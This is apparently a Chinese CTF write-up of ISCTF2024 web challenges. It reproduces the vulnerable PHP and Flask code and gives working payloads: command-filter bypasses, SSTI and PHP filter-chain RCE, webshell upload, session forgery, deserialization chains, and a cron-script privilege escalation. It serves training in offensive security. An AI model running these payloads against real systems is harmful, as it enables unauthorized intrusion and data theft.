RE:ISCTF2024

WEB

1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file('index.php');

#一句话木马,神神又奇奇

if(isset($_POST['J'])){
$call=$_POST['J'];
$dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];
foreach ($dangerous_commands as $command) {
if (preg_match("/$command/i", $call)) {
die("这些个危险函数可不兴使啊");
}
}
system($call);
}
?>

简单的命令过滤

flag在根目录/f14g

payload:

1
J=ca\t /f14g

ezrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

error_reporting(0);

if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];

if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
die("Blocked by security filter!");
} else {
eval($cmd);
}
} else {
highlight_file(__FILE__);
}
?>

空格使用$IFS、${IFS}、$IFS$9、%09、<、>、<>、{,}(例如{cat,/etc/passwd} )、%20(space)、%09(tab)

这里空格使用%09

eval|system|exec|popen|shell_exec被过滤使用print

命令可以使用\隔开执行

payload:

1
?cmd=print(`ta\c%09/f*`);

25时晓山瑞希生日会

image-20250805165510267

User-Agent改为Project Sekai

1
User-Agent: Project Sekai

image-20250805165635664

增加

1
X-Forwarded-For: 127.0.0.1

image-20250805165807578

根据题目描述

1
2
题目描述:瑞希是神山高校一年级生,《25时,在Nightcord。》的MV师。马上要到生日了。生日会邀请了很多人来参加。
此题在9.15就出好了,谁料会发生如此变故,sega我恨你;w;

25时 9.15,思路错误

从⽹上查资料得到晓⼭瑞希的⽣⽇是8⽉27号,随便输⼊个⽇期格式发现回显要RFC822格式,去⽹上搜⼀下格式得出最终⽇期

1
Date: Tue, 27 Aug 2024 05:00:00 GMT

得到flag

image-20250805170317015

UP!UPloader

image-20250805170400377

文件上传页面

传木马发现可以成功上传但是找不到路径

image-20250805171403216

/include.php可以文件包含

image-20250805170928917

使用php伪协议包含upload.php看看上传逻辑

1
php://filter/read=convert.base64-encode/resource=upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
$name = pathinfo($file['name'], PATHINFO_FILENAME);
$dir_name = $name . '.' . $ext;
$upload_dir = './uploads/';
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0755, true);
}
if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {
echo "文件上传成功!不è

发现上传后的文件放在了/uploads/

路径逻辑为/uploads/+md5(文件名字含拓展名)+ . +拓展名

1
2
3
上传1.php

/uploads/f3b94e88bd1bd325af6f62828c8785dd.php

根目录没有找到flag

怀疑在系统系统变量

1
printevn

image-20250805172601629

ezSSTI

根据题目考察ssti

image-20250805174514907

1
{{2*3}} 输出6

存在ssti

传入的参数为user_input

焚靖梭哈

image-20250805175452841

只过滤了: _ 和 [

手工注入:

1
{%print (cycler.next|attr(("%c"%95)*2+'globals'+("%c"%95)*2)|attr(("%c"%95)*2+'getitem'+("%c"%95)*2)(("%c"%95)*2+'builtins'+("%c"%95)*2)|attr(("%c"%95)*2+'getitem'+("%c"%95)*2)(("%c"%95)*2+'import'+("%c"%95)*2))('os').popen('whoami').read()%}

小蓝鲨的冒险

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
$num = $_POST["num"];
if($num == 2024){
die("QAQ");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0) == 2024){
if (isset($_GET['which'])){
$which = $_GET['which'];
switch ($which){
case 0:
print('QAQ');
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
}
}

md5弱比较

1
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
  • md5('QNKCDZO')的结果为0e830400451993494058024219903391(以0e开头)。
  • 在 PHP 中,以0e开头的字符串在弱比较(==)时会被当作科学计数法的0,因此只需找一个不等于QNKCDZO但 MD5 值也以0e开头的字符串。

可用字符串:s878926199a(其 MD5 为0e545993274517709034328855841020)。

通过parse_str($b)修改$a[0],需构造GET参数:b=a[0]=s878926199a

代码对$_POST["num"]的要求:

  1. $num == 2024 → 需避免(否则die("QAQ"))。
  2. preg_match("/[a-z]/i", $num) → 不能包含字母(大小写均禁止)。
  3. intval($num, 0) == 2024 → 转换为整数后等于 2024。

满足条件的$num2024.5

switch的要求:

1
2
3
4
5
switch ($which) {
case 0: print('QAQ');
case 1:
case 2: require_once $which.'.php'; echo $flag; break;
}
  • switch使用弱比较(==),需让$which匹配case 0/1/2,且$which.'.php'flag.php

构造GET参数which=flag

  • 'flag' == 0 → 弱比较为true(字符串flag转数字为0),进入case 0
  • case 0break,会继续执行case 1case 2,最终加载flag.php并输出$flag

Payload:

1
2
GET 请求:?b=a[0]=s878926199a&which=flag
POST 数据:num=2024.5

ezserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0);

class Flag {
private $flag;

public function __construct() {
$this->flag = file_get_contents('/flag');
}

public function getFlag() {
return $this->flag;
}

public function __toString() {
return "You can't directly access the flag!";
}
}

class User {
public $username;
public $isAdmin = false;

public function __construct($username) {
$this->username = $username;
}

public function __wakeup() {
if ($this->isAdmin) {
echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
} else {
echo "Hello, " . htmlspecialchars($this->username) . "!";
}
}
}

if (isset($_GET['data'])) {
$data = $_GET['data'];

$object = unserialize($data);
if ($object instanceof User) {
echo $object;
} else {
echo "Invalid object!";
}
} else {
highlight_file(__FILE__);
}
?>

代码逻辑分析

  1. 核心类功能:
    • Flag类:私有属性$flag存储着/flag内容,getFlag()方法可返回 flag,但__toString()被重写,无法直接通过 echo 对象获取。
    • User类:关键在于__wakeup()方法 —— 当$isAdmintrue时,会创建Flag实例并输出 flag;否则仅输出用户名。
  2. 执行流程:
    • 接收GET参数data,反序列化为$object
    • $objectUser实例,则echo $object(但这里echo的实际作用是触发流程,核心逻辑在反序列化时的__wakeup)。

漏洞点与利用思路

User类的__wakeup方法是关键:只要反序列化后的User对象中$isAdmintrue,就会直接输出 flag。因此,我们需要构造一个$isAdmin = trueUser对象序列化字符串,通过data参数传入。

具体步骤

  1. 构造User对象:创建User实例,手动将$isAdmin设为true(默认是false)。
  2. 序列化对象:将上述对象序列化为字符串。
  3. 传入参数:通过GET请求将序列化字符串作为data参数传入,触发反序列化和__wakeup方法。

构造序列化字符串:

1
2
3
$user = new User('admin');
$user->isAdmin = true;
echo serialize($user);

payload:

1
?data=O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isAdmin";b:1;}

小蓝鲨的秘密

访问直接跳转到https://www.bluesharkinfo.com/

抓包直接getflag???

image-20250805181857196

千年樱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "dir.php";
highlight_file(__FILE__);

echo "proof of work<br>";

if($_COOKIE['from'] === "ISCTF"){
echo $dir1;
}
else{
die('what? so where are you from?');
}

// <!-- do you want to learn more? goto story.txt -->
?> proof of work
what? so where are you from?

增加Cookie

image-20250805182301160

得到/get_contents_qwerghjkl.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
<head>
<title>read! read! read!</title>
</head>
<body style="background: '/static/bg1.png' ">
<?php
include "dir.php";
highlight_file(__FILE__);

if(file_get_contents($_POST['name']) === 'ISCTF'){
echo $dir2;
}
else{
die("Wrong!");
}


?>
</body>
</html>

file_get_contents绕过

  • 使用php://input伪协议绕过
    • ① 将要GET的参数?xxx=php://input
    • ② 用post方法传入想要file_get_contents()函数返回的值
  • 用data://伪协议绕过
    • 将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
    • 或者将url改为:?xxx=data:text/plain,(url编码的内容)

这里的选择data

payload:

1
name=data://text/plain,ISCTF

得到下一关/well_down_mlpnkobji.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html>
<head>
<title>read! read! read! we need read!!!</title>
</head>
<body style="background-image: url('/static/bg2.png'); background-size: cover; background-attachment: fixed; ">
<?php
include "dir.php";
highlight_file(__FILE__);

function waf($str){
if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
die('bad hacker!!!');
}
}
$poc = $_POST['poc'];
waf($poc);
$filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
$result = file_get_contents($filename);
if($result === "sakura for ISCTF"){
echo "yes! master!";
eval($_POST['cmd']);
}

if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
var_dump($result);
}


?>
</body>
</html>
1
bool is_numeric ( mixed $var )

如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,浮点型返回空值即 FALSE,不仅检查十进制,同时也检查十六进制

绕过

1
2
3
4
?output = 114514%00
?output = 114514%20
?output = 114514'
?output = 114514a

poc构链类似2024XYCTF连连看到底是连连什么看

使用以下 项目

https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

1
python.exe 2024_ISCTF千本樱.py --chain "sakura for ISCTF<?php" 
1
2
3
?output=114514a

poc=convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|string.strip_tags&cmd=system('cat f*');

image-20250805192719785

小蓝鲨的临时存储室

上传木马后得到了文件路径

执行命令发现无法cat /flag

查看id发现当前用户权限为apache

image-20250807113909156

/flag权限

image-20250807114425871

想着提权

发现/down_file.sh我们拥有操作权

image-20250807114501524

读取发现

1
#!/bin/bash find /var/www/localhost/htdocs/uploads/ -type f -name "*.php" -exec rm -f {} \;

他会将我们上传的文件定时删除 所以会出现not found

这里他也使用了/bin/bash

我们可以追加修改/flag的权限,如果直接命令追加未成功

1
pass=system('echo "chmod 777 /flag;" >>/down_file.sh');

或者读取/flag文件内容到/tmp/1.txt文件中

1
2
cat /flag >> /tmp/1.txt
pass=system('echo "cat /flag >> /tmp/1.txt;" >>/down_file.sh');

等待一段时间后便可得到flag

小蓝鲨的故事

image-20250807143810840

点击Read Hacker会跳转https://isctf2024.bluesharkinfo.com/

因为是复现,网站当时环境应该已不存在,不影响做题

dirsearch扫一下

1
2
3
4
5
6
Target: http://gz.imxbt.cn:20709/

[14:41:28] Scanning:
[14:41:51] 200 - 2KB - /console
[14:41:55] 200 - 31B - /flag
[14:42:09] 200 - 50B - /robots.txt

存在三个路由

/console

image-20250807144702848

/robots.txt

1
2
3
4
User-agent: *
Disallow: /
tXkngV80
娆㈣繋浣燞acker

根据提示知道这是 key tXkngV80

抓包的时候发现存在session

利用key解密session

1
2
3
python3 flask_session_cookie_manager3.py decode -c eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.aJRNgQ.iqyuNEbNLLH8he3TKWkbAQSWotg -s tXkngV80 

{'username': b'www-data'}

尝试伪造root无任何效果

回到主页面Read Hackerr

尝试访问Hacker

image-20250807151529915

查看源码

image-20250807151553230

伪造ISctf_Hacker

1
2
3
4
python3 flask_session_cookie_manager3.py encode -t "{'username': b'ISctf_Hacker'}" -s "tXkngV80"


eyJ1c2VybmFtZSI6eyIgYiI6IlNWTmpkR1pmU0dGamEyVnkifX0.aJRTTQ.oMd4KrE6TpKGcGNuHHKENa_0bLY

得到flag

image-20250807152040735

天命人

考察php反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
error_reporting(0);

# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;

function __get($j)
{
echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
$yin="s214587387a";
$yang=$_GET['J'];
if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
function __get($huo)
{
$this->huoyan="火眼能洞察一切邪祟!<br>";
echo $this->huoyan->jinjing;
}
function __invoke()
{
$this->jinjing="金睛能看破世间迷惘!<br>";
echo $this->huoyan->jinjing;
}
}
class Dinghaishenzhen{
public $Jindou="一个筋斗能翻十万八千里!<br>";
public $yun;

function __toString()
{
$f=$this->yun;
$f();
return "你真的逃出去了吗?天命人?<br>";
}
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";

function __sleep()
{
echo "三更敲门,菩提老祖送我筋斗云...<br>";
echo new Jindouyun();
}
}
class Tianmingren {
public $tianming;
public $ren;
function __destruct()
{
echo "迷途中的羔羊,你相信天命吗?<br>";
echo $this->tianming;
}
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
?>

md5弱比较

1
2
3
4
$yin="s214587387a";
$yang=$_GET['J'];

md5($yin)==$yang&&md5($yin)==md5($yang)

yin的md5值为0e开头

所有yang需要为0e开头且md5后仍然为0e开头的字符串

1
2
3
| 0e215962017                      | 0e291242476940776845150308577824 |
| 0e1137126905 | 0e291659922323405260514745084877 |
| 0e462097431906509019562988736854 | 0e830400451993494058024219903391 |

链子顺序

1
Tianmingren->Dinghaishenzhen->Huoyanjinjing->Wuzhishan
  1. 反序列化结束 → 触发Tianmingren::__destruct()
  2. echo $this->tianming → 触发Dinghaishenzhen::__toString()
  3. $f = $this->yun; $f() → 触发Huoyanjinjing::__invoke()
  4. echo $this->huoyan->jinjing → 触发Wuzhishan::__get()(访问不存在属性)
  5. __get()中验证GET参数J后输出flag

这里还需要注意throw new Exception

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class Dinghaishenzhen {
public $Jindou;
public $yun;
}

class Huoyanjinjing {
public $huoyan;
public $jinjing; // 保持null
}

class Wuzhishan {
public $wu;
public $zhi;
public $shan;
}

class Tianmingren {
public $tianming;
public $ren; // 无关属性
}

// 构建触发链
$trigger = new Tianmingren();
$trigger->tianming = new Dinghaishenzhen();
$trigger->tianming->yun = new Huoyanjinjing();
$trigger->tianming->yun->huoyan = new Wuzhishan(); // 关键:触发__get

//echo (serialize($trigger));
//O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";N;s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";N;s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}

//然后需要绕过 throw new Exception,反序列化后直接触发抛出异常导致程序不能正常往下走使用数组进行绕过
$exp = array($trigger,0);
echo (serialize($exp));

